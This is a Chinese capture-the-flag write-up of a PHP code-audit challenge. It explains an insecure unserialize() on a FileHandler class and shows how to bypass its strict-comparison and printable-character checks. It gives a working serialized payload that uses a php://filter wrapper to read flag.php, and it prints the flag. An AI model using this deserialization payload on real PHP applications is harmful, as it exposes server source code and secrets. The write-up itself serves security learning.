本文共 3118 字,大约阅读时间需要 10 分钟。
这是一个代码审计题:
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: "; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}
分成3块,一块是定义FileHandler
的类,一块是is_valid
函数,最后一块是GET传值。
先讲最后一块函数。
if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
先GET接收一个str参数,然后利用is_valid
函数检测,检测不通过直接报错,检测通过直接进行反序列化。
然后是is_valid
函数:
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}
其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。
最后是反序列化,这里需要研究一下FileHandler
类。
__destruct
魔术方法在对象销毁时执行,__construct()
魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()
方法。
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process();}
在这里如果op==='2'
则会覆盖为'1'
,然后content被置空,并进入process
。在process
我们需要调用read()
函数,所以需要让op=2
。而这里是强等号,所以传入op=2
即可,2是整形,'2’是字符型,2==='2'
==>False
。
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); }}
在这里调用read()
函数,并在output()
函数中进行输出。
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res;}
这里利用file_get_contents()
函数对文件进行读取,可以利用php:filter
伪协议进行读取。于是将filename
置为php://filter/read=convert.base64-encode/resource=flag.php
。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码
所以payload构造为:
传入后发现:
不行的原因是private和protect类型在序列化的时候会生成%00
,不能通过is_valid
函数的检验。 在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}如果不用php伪协议的话,payload:
可以直接在源码页查看到flag
flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}
转载地址:http://qxpbi.baihongyu.com/